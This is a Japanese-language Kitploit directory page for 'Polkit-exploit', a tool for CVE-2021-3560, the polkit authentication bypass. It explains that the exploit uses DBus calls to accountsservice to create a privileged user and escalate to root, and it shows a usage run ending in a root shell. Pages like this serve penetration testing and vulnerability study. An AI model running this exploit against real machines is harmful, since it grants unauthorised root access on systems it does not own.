Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Polkit-exploit — polkitを使用した権限昇格 - CVE-2021-3560 | Kitploit
ツール/GitHubGitHub/almorabea/polkit-exploit
特権昇格脆弱性分析エクスプロイトポストエクスプロイトペネトレーションテストレッドチーミング
GitHubalmorabea/polkit-exploit

Polkit-exploit

polkitを使用した権限昇格 - CVE-2021-3560

リポジトリを見る
1265215年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Polkit-exploit - CVE-2021-3560

polkit を用いた権限昇格 - CVE-2021-3560

概要

CVE-2021-3560 は polkit における認証バイパスであり、非特権ユーザーが DBus を使用して特権メソッドを呼び出すことを可能にします。このエクスプロイトでは、accountsservice が提供する 2 つの特権メソッド(CreateUser と SetPassword)を呼び出し、特権ユーザーを作成してパスワードを設定し、最後に作成したユーザーでログインして root に昇格します。

エクスプロイトコードの作者

Ahmad Almorabea @almorabea http://almorabea.net

使い方

root@kitploit:~
test@ubuntu:~/Desktop$ python3 CVE-2021-3560.py 
**************
Exploit: Privilege escalation with polkit - CVE-2021-3560
Exploit code written by Ahmad Almorabea @almorabea
Original Exploit Author: Kevin Backhouse 
For more details check this: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/#history
[+]Starting the Exploit 
[+] User Created with the name of ahmed
[+] Timed out at: 0.008446890996407191
[+] Timed out at: 0.008934336684707084
[+] Exploit Completed, your new user is 'Ahmed' just log into it like, 'su ahmed', and then 'sudo su' to root 
bash: cannot set terminal process group (46983): Inappropriate ioctl for device
bash: no job control in this shell
root@ubuntu:/home/test/Desktop# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/home/test/Desktop# whoami
root
root@ubuntu:/home/test/Desktop#

デモ

GUI 認証


ターミナル認証


謝辞

Kevin Backhouse (https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/)

ツールをダウンロード